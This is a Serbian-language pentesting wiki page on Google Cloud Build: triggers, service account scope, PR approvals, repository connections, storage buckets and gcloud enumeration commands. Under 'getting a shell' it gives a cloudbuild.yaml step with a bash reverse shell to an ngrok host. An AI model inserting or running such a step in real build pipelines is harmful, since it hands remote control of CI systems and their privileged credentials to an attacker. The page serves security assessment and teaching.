# GCP - Cloud Build Enum

{{#include ../../../banners/hacktricks-training.md}}

## Osnovne informacije

Google Cloud Build je upravljana CI/CD platforma koja **automatski gradi** i objavljuje softver, integrišući se sa **repozitorijumima izvornog koda** i podržavajući širok spektar programskih jezika. **Omogućava programerima da automatski grade, testiraju i implementiraju kod** dok pruža fleksibilnost za prilagođavanje koraka izgradnje i radnih tokova.

Svaki Cloud Build Trigger je **povezan sa Cloud Repozitorijumom ili direktno povezan sa spoljnim repozitorijumom** (Github, Bitbucket i Gitlab).

> [!TIP]
> Nisam mogao da vidim nijedan način da ukradem Github/Bitbucket token odavde ili iz Cloud Repozitorijuma jer kada se repo preuzme, pristupa mu se putem [https://source.cloud.google.com/](https://source.cloud.google.com/) URL-a i Github se ne pristupa od strane klijenta.

### Događaji

Cloud Build može biti pokrenut ako:

- **Push na granu**: Odredite granu
- **Push novog taga**: Odredite tag
- **Pull request**: Odredite granu koja prima PR
- **Ručno pozivanje**
- **Pub/Sub poruka:** Odredite temu
- **Webhook događaj**: Izložiće HTTPS URL i zahtev mora biti autentifikovan tajnom

### Izvršenje

Postoje 3 opcije:

- Yaml/json **koji specificira komande** za izvršenje. Obično: `/cloudbuild.yaml`
- Samo jedan koji može biti specificiran “inline” u web konzoli i u cli
- Najčešća opcija
- Relevantno za neautentifikovani pristup
- **Dockerfile** za izgradnju
- **Buildpack** za izgradnju

### SA Dozvole

**Servisni nalog ima `cloud-platform` opseg**, tako da može **koristiti sve privilegije.** Ako **nije specificiran SA** (kao kada se radi submit) koristiće se **podrazumevani SA** `<proj-number>@cloudbuild.gserviceaccount.com`.

Podrazumevano, nijedna dozvola nije data, ali je prilično lako dati neke:

<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>

### Odobrenja

Moguće je konfigurisati Cloud Build da **zahteva odobrenja za izvršenja izgradnje** (onemogućeno podrazumevano).

### PR Odobrenja

Kada je okidač PR, jer **bilo ko može da izvrši PR-ove na javnim repozitorijumima**, bilo bi veoma opasno samo **dozvoliti izvršenje okidača sa bilo kojim PR-om**. Stoga, podrazumevano, izvršenje će biti **automatsko samo za vlasnike i saradnike**, a da bi se izvršio okidač sa PR-ovima drugih korisnika, vlasnik ili saradnik mora komentarisati `/gcbrun`.

<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>

### Povezivanja i Repozitorijumi

Povezivanja se mogu kreirati preko:

- **GitHub:** Prikazaće OAuth prompt koji traži dozvole za **dobijanje Github tokena** koji će biti sačuvan unutar **Secret Manager-a.**
- **GitHub Enterprise:** Tražiće da se instalira **GithubApp**. **Token za autentifikaciju** sa vašeg GitHub Enterprise hosta biće kreiran i sačuvan u ovom projektu kao **Secret Manager** tajna.
- **GitLab / Enterprise:** Morate **obezbediti API pristupni token i Read API pristupni token** koji će biti sačuvani u **Secret Manager-u.**

Kada se povezuje, možete ga koristiti za **povezivanje repozitorijuma kojima Github nalog ima pristup**.

Ova opcija je dostupna putem dugmeta:

<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Imajte na umu da su repozitorijumi povezani ovom metodom **samo dostupni u Trigerima koristeći 2. generaciju.**

### Povezivanje Repozitorijuma

Ovo nije isto što i **`povezivanje`**. Ovo omogućava **različite** načine za dobijanje **pristupa Github ili Bitbucket** repozitorijumu, ali **ne generiše objekat povezivanja, već generiše objekat repozitorijuma (1. generacija).**

Ova opcija je dostupna putem dugmeta:

<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>

### Skladištenje

Ponekad Cloud Build će **generisati novo skladište za čuvanje datoteka za okidač**. To se dešava, na primer, u primeru koji GCP nudi sa:
```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
Kreiran je Storage bucket pod nazivom [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) za čuvanje `.tgz` datoteke sa datotekama koje će se koristiti.

### Dobijanje shel-a
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
Instalirajte gcloud unutar cloud build:
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```
### Enumeration

Možete pronaći **osetljive informacije u konfiguracijama gradnje i logovima**.
```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
```
### Eskalacija privilegija

{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}

### Neautentifikovani pristup

{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}

### Post eksploatacija

{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
